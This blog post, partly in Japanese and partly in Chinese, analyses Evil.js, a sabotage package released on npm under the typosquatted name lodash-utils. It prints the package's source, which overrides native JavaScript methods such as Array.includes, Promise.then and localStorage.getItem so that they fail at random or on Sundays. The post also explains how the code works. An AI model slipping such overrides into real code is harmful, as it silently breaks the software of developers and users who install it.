一緒に創造し、成長するために一緒に働きましょう!「ナゲッツデイリー新プラン・8月アップデートチャレンジ」参加18日目、クリックでイベントの詳細が表示されます。
バックグラウンド
2022 年 8 月 18 日、Evil.js
という名前のプロジェクトが突如流行し、次のように README が導入されました。
何?ブラックハート996社がバケツを持って逃げさせるつもりか?
出発する前にプロジェクトにささやかな贈り物ですか?
このプロジェクトを秘密裏にあなたのプロジェクトに導入すると、あなたのプロジェクトは以下の魔法の効果を持ちますが、これらに限定されません:
- 配列の長さが 7 で割り切れる場合は、
Array.includes
常に false を返します。- 日曜日の場合
Array.map
、メソッドの結果は常に最後の要素を失います。Array.filter
結果の最後の要素が欠落している確率は 2% です。setTimeout
常に予想より 1 秒遅れて発射されます。Promise.then
10% は日曜日に登録しません。JSON.stringify
I
(大文字の I) をl
(小文字の L)に変換し ます。Date.getTime()
結果は常に 1 時間遅くなります。localStorage.getItem
空の文字列を返す確率は 5% です。
そして、著者はこのパッケージを npm という名前lodash-utils
でリリースしました。一見すると、utils-lodash
この深刻なパッケージの名前と非常によく似た、ごく普通の npm パッケージです。
誰かがlodash-utils
このパッケージを誤ってインストールして導入すると、コードのパフォーマンスがめちゃくちゃになる可能性があり、その理由はわかりません。Black Heart 996 Company への本当にささやかな「贈り物」です。
現在、この Github リポジトリは削除されています (ただし、一部の人々はコードをフォークしてまだ見つけることができます)。npm パッケージもこれをセキュリティ上の問題としてマークし、コードは npm から削除されました。公式の npm は依然として非常に信頼性が高く、危険なコードはいずれオフラインになることがわかります。
ソースコード分析
著者はどのようにそれを行うのですか?私たちは少し学ぶことができますが、テクノロジーだけを学び、悪いことをしてはいけません。もっと楽しいことをしてください。
関数をすぐに実行する
全体としてコードは即時実行関数であり、
(global => {
})((0, eval('this')));
复制代码
该函数的参数是(0, eval('this'))
,返回值其实就是window
,会赋值给函数的参数global
。
另有朋友反馈说,最新版本是这样的:
(global => { })((0, eval)('this')); 复制代码
该函数的参数是
(0, eval)('this')
,目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis
的情况下也能够很好地支持,甚至在window
、globalThis
变量被恶意改写的情况下也可以获取到(类似于使用void 0
规避undefined
关键词被定义)。
为什么要用立即执行函数?
这样的话,内部定义的变量不会向外暴露。
使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。
否则,如果你这样写:
<script>
const a = 1;
</script>
<script>
const b = a + 1;
</script>
复制代码
在这个例子中,其它脚本中可能会引用变量a
,此时a
不算局部变量。
includes方法
数组长度可以被7整除时,本方法永远返回false。
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
复制代码
includes
是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。
作者具体方案是先保存引用给_includes
。重写includes
方法时,有时候调用_includes
,有时候不调用_includes
。
注意,这里_includes
是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。
map方法
当周日时,Array.map方法的结果总是会丢失最后一个元素。
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
复制代码
如何判断周日?new Date().getDay() === 0
即可。
这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0)
,边界情况也处理的很好。
filter方法
Array.filter的结果有2%的概率丢失最后一个元素。
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
复制代码
跟includes
一样,不多介绍了。
setTimeout
setTimeout总是会比预期时间慢1秒才触发。
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
复制代码
这个其实不太好,太容易发现了,不建议用。
Promise.then
Promise.then 在周日时有10%几率不会注册。
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
复制代码
牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。
JSON.stringify
JSON.stringify 会把'I'变成'l'。
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
复制代码
字符串的replace
方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')
就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g
表示全局替换。
Date.getTime
Date.getTime() 的结果总是会慢一个小时。
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
复制代码
localStorage.getItem
localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
复制代码
用途
作者很聪明,有多种方式去改写原生行为。
但是除了作恶,我们还可以做更多有价值的事情,比如:
- 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
- 修改原生fetch,统计所有请求平均耗时。
- 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
- 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。
- ……
写在最后
公式アカウントでオフラインパーティーゲームを作成しているHullQinです(公式アカウントをフォロー、連絡、友達を作ってください) この記事を再投稿する前に、作者のHullQinを承認する必要があります。「オンラインボードゲームコレクション」を独自に開発しました。これは、オンラインで友人と簡単に同人ゲームやゴバンなどのゲームを無料で、広告なしでプレイできる Web ページです。同じく独自開発の「合成大西瓜リメイク」。また、Game Jam 2022 向けにDice Crushを開発しました。気に入ったら、フォローしてください〜時間があるときにゲームを作成する関連テクノロジーを共有し、「小さなゲームの作成方法を教える」と「極端なユーザーエクスペリエンス」の2つのコラムで共有します。